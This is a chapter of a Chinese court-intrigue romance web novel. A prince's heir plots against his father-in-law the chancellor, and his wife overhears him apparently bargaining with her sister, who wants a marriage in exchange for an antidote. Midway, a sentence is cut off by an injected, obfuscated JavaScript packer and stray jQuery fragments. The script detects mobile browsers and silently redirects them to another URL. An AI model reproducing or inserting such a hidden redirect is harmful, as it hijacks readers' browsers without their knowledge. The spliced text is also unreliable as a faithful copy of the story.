得知山匪竟是许如海私下豢养,皇帝震怒,下令押解其进京彻查。
可此事却没交由刑部,而是交给了大理寺。
钟离珩这招假死脱身,而后迅速釜底抽薪打的虞平章措手不及,平静的面色下,他看向这个女婿的眼中满是冰冷的杀意。
许如海绝对不能活着,更不能活着进京!
“丞相大人请留步。”
下朝后,官员们鱼贯而出,钟离珩却在殿前叫住了虞平章。
与其阴沉的脸色不同,他脸色带着温和的笑意,如寻常岳婿叙旧般问道:“昨日世子妃归家匆忙,竟掉了两位婢女在相府,今早同我抱怨旁的婢女服侍不甚习惯,烦请丞相将人送还。”
不过是两名婢女,钟离珩上前索要,简直是赤裸裸的挑衅。
挑衅他,被亲女倒戈。
虞平章语气冰冷:“这等小事,也劳世子亲自来。”
钟离珩脸上的笑意加深:“这是自然,小婿比不得丞相手下能人众多,只得自己多操劳一二。”
听到能人众多四字,虞平章脸色更阴沉了几分,他不屑于同钟离珩做口舌之争,冷哼一声便拂袖而去。
与此同时,坐不住的还有三皇子,他下朝后直接乔装去了相府。
许如海被抓一事让他彻底慌了,对方一个地方官养那么多兵自然不可能是自己用的,那原本就是替他养的私兵,却被宁王发现,当成山匪给缴了。
这事若东窗事发,届时别说皇位,他们全都完了!
虞府内,看着虞家父子同三皇子一同进了书房,暗处的虞宛眸色微凝,今日朝中的事早已传遍,良久,她似下定了什么决心,转身离去。
马车驶到宁王府跟前停下,车里的人被引了进去。
见到点星跟映月没事,虞皎才算松了口气,原本还怕二人因自己回王府被责罚,正想去接二人。
她只以为是徐母主动放二人回来的,想了想问道:“我爹娘可有说什么?”
点星摇头,欲言又止道:“小姐,你怎的跟相爷夫人闹成这样,我瞧着,夫人的脸色似乎也不太好。”
闻言,虞皎摇头,不是她要闹,是爹娘,她不知道对方要做什么。
“阿皎,过来。”
一转头,便见是钟离珩下朝回来了,身着朝服的他多了几分高不可攀的威仪,虞皎却丝毫不惧,眸中满是信任的跑了过去。
“你的事情如何了,陛下有没有怪罪?”
“无事,”钟离珩道:“我特地派人将你的婢女接了回来,你近日不要再回去了,以免又被关起来,朝堂的事勿要操心,我不会有事的。”
见他如此为自己着想,虞皎感动的同时有些愧疚,当即应下,她现在也不知道该怎么面对爹娘。
想起他们,她心中还是有些难过,当初阿父阿母虽然家贫,且大字不识,却始终教导她要做一个正直良善之人,所以她即便日子过的再艰难,也从未偷抢,做过哪怕一件坏事。
可京中的爹娘,明明已经富贵至极,为什么还不满足,还要害人?
“我想去劝劝我娘,她对我很好,说不定能听进去我的话呢?”
虞皎想去劝她爹迷途知返,不要连累家人。
看着虞皎单纯的神色,钟离珩没有解释,徐夫人若真是爱女,怎会同意她作为废子嫁进宁王府。
虞家注定不得善终,他也不会手下留情,所以有些话没必要告诉她。
“过些日子再说吧,如今你娘说不得也正在气头上。”
虞皎觉得他说的话也不无道理,于是点头应好,又觉得钟离珩脾气是真的很好,很为她着想。
午间钟离瑶也过来一同用膳,虞皎同钟离珩是清早入城,对于兄长无事归来,她看上去却并不怎么意外。
反倒是见兄长对虞皎的态度,她有几分意外。
饭后,她单独去书房见了钟离珩,问道:“父王可还好?”
“都好,不过忘了些事,已经暗中寻了大夫在治。”
钟离珩简要将之前的事说了一遍,包括虞家的阴谋,这些事先前在信中不便说,钟离瑶只知兄长没事,却不知过程如此凶险。
连带对于虞皎,她都有些迁怒:“她虽不知你们之间的恩怨,可若此次虞家被你扳倒,往后她对你还能毫无芥蒂吗?”
“不叫她知晓原委便好,再者,不过是半路认回的爹娘,待他们伏法,她哭一哭也就罢了,时间一久总会忘的。”
听着自家兄长这云淡风轻地话,钟离瑶不可置信的看向他。
那可是血浓于水的亲爹娘,即使相认的时间再短,也有血缘羁绊在的,此时她竟有些同情虞皎。
还欲再说什么,可鸣河在外候着有事禀报,钟离珩并不欲与她多说。
待钟离瑶走后,鸣河才进屋道:“世子,方才虞府二小姐托人递了口信,说找您有事相商。”
“二小姐?”
钟离珩思忖片刻,才想起了虞宛这号人,他半分不感兴趣,语气默然道:“不见。”
本以为只是一个小插曲,可没过几日,他却接到了一个不妙的消息。
许如海中毒了。
还是奇毒,大夫们都束手无策,只能勉强的吊着一口气。
“世子,随行的全是我们的人,一路上看管严密,此事实在蹊跷!”
钟离珩垂眸沉思,他当时因着急回京请旨,是以先行一步,可邕州早已安排妥当,还有宁王在那看着,许如海身边全是他们的人,此次押解上京也全是亲兵跟随,根本不可能有被下手的机会。
“或许,他之前便中毒了。”
他就知道,虞平章那个老狐狸怎么会没有后招。
“这可如何是好?”
许如海可是最重要的一环,他必须活着到京城接受审讯。
就在这时,鸣河再次回来禀报。
“世子,虞府二小姐约您一叙,她说,她知道您想要的东西。”
对方很谨慎,这次依然是传的口信,没有留下任何痕迹。
书房陷入片刻的沉寂,少顷,钟离珩冷笑道:“看来这位二小姐有些想法,那便见见吧。”
“二妹妹约我吃茶?”
虞皎昨日归家并未见到虞宛,说起来,二人还没单独小聚过,是以突然收到邀约,她还有些吃惊。
不过转念一想,虞皎了然,也许是母亲派她来说和的。
“那便去吧。”她也想通过虞宛劝说她娘。
片刻后,虞皎和钟离珩前后脚乘车出了府。
瞧见钟离珩的车架不在,虞皎也没太在意,只以为对方是出门办事去了。
马车来到约定好的茶舍缓缓停下,此处已被提前包了场,连下人都很少。
外头看着简朴,庭院内却很是清幽雅致,假山水榭在名贵花木的掩映下露出一角,倒是个谈话的好地方。
很快便有虞宛身边的侍女出来领着她往里去,院子很大,七拐八弯的,虞皎也不知是来了何处,她从一道长廊进入了一间雅室,却没瞧见虞宛的人。
侍女停在门口,只道:“世子妃稍等,小姐马上便来。”
虞皎不做他想,先行走了进去。
与此同时,一墙之隔的前厅内,钟离珩看着对面的虞宛,神色冷淡道:“你的筹码?”
看着眼前之人漠然的眼神,虞宛即使再聪慧也心有不甘,但她嘴角却还是挂着恰到好处的浅淡笑意。
“许如海的毒,我知道如何解。”
她早知道自己不过是虞平章手中的一枚棋子,在她的身世还没被爆出来之前,她便知道自己的命运,不过是用来联姻,为虞家谋取利益。
因她聪慧,听话,所以即便不是亲生的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032345|193316||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,虞平章也乐于留下她,但她不可能不给自己留后路。
如今这个机会,简直是她出手的绝佳时机,既能为钟离珩雪中送炭,又能脱离即将落败的虞家。
听到这句话,钟离珩总算抬眸正眼瞧了虞宛一眼。
“我凭什么信你?”
虞宛早有准备,她掏出一张誊抄的药方递了过去。
“世子若不信,可按这方子配一副药,虽不能全解,但至少能多撑些时日。”
当然,想要全解的药方,那就得付出些代价了。
钟离珩扫了眼药方,里面有几味药,的确是眼下大夫用来给许如海吊命的,心中信了几分,转而问道:“你的条件。”
虞宛抬眸看向钟离珩,眼中有不再掩饰的倾慕,她的视线透过对面端坐的钟离珩,看到了门后被这边的声音吸引过来的人影,眸光微动。
“宛儿仰慕世子已久,想入府常伴世子左右。”
门后的身影果然顿住。
虞皎刚进来,就听见门那头的声音,她本疑惑这里为何还有旁人,走进来却发现是自己熟悉的声音。
二妹在跟谁说话?她还约了旁人?
那边的钟离珩没有立即拒绝,虞宛这样工于心计的女子他虽然不喜,可许如海中毒一事实在耽搁不得。
若是错过这次扳倒虞平章的机会,以皇帝愈发衰败的身体,怕是没有精力再维持朝堂平衡了。
见钟离珩没有说话,虞宛便知他是意动了,因而起身站至他身侧,婉声道:“我自知世子同姐姐恩爱无比,不求与姐姐比,只想求个侧妃之位,能时常见着世子便好。”
听她提到虞皎,钟离珩眸色微变。
虞皎的身份尴尬,他不能让旁人知道自己待她的情感,尤其是虞家的人。
虞宛此女心机颇深,若让她知晓,怕是要生出许多事端,以阿皎单纯的性子,根本不是对方的对手。
因而钟离珩故作漫不经心,似乎是被这番表白心迹的取悦到了,轻笑道:“从前竟不知二小姐如此心意,你姐姐不过是一介粗鄙村妇,哪能同你相比?”
听他这样说,虞宛也不禁笑了起来,眸中含着情谊去拉钟离珩的手,钟离珩察觉,作势端起了桌上的茶杯,虞宛的指尖滑过衣袖,什么也没抓住。
她看着钟离珩俊美出尘的面容,柔声道:“那世子打算何时娶我,我爹已经在为我相看了,世子也知道,此事拖延不得。”
钟离珩知道她在暗示给许如海解毒一事,这药方只能压制,如若不全解,从邕州押送至京城的路途遥远,对方根本撑不住,更遑论后头的审讯。
可他不娶虞宛,她是决计不可能交出完整药方的。
“你若着急,我回去便着手命人准备,不过虞相那边……”
虞平章自然不会答应两个女儿共事一夫这种丑事,更何况他还正跟钟离珩斗到关键时刻。
“没关系,事急从权,等我与世子成了,父亲纵使不应,也无可奈何……”
女子窈窕的身影依偎在男子高大的身影旁,看上去像是一对幽会的有情人。
隔着门上的纱幕,对面的情形看不真切,但那两人的声音对虞皎来说熟悉无比,她只觉如晴天霹雳,满目不可置信。
她听见了什么?
她的妹妹喜欢她的夫君,而她的夫君,说她粗鄙不堪,不配与对方相比较?
明明是盛夏的天,虞皎站在阴暗的茶室中,却突然有彻骨的凉意,从脚底升到了心口,刺的她喘不过气来。
怎么会这样,他们不是天赐良缘?阿珩不是说往后有他在,他们才是一家人的吗?
一门之隔,虞皎甚至没有冲出去质问的勇气。
短短几日功夫,她先是发觉爹娘欺瞒自己的真面目,本以为还有钟离珩真心待她,如今却当头一棒,直将她差点彻底击溃。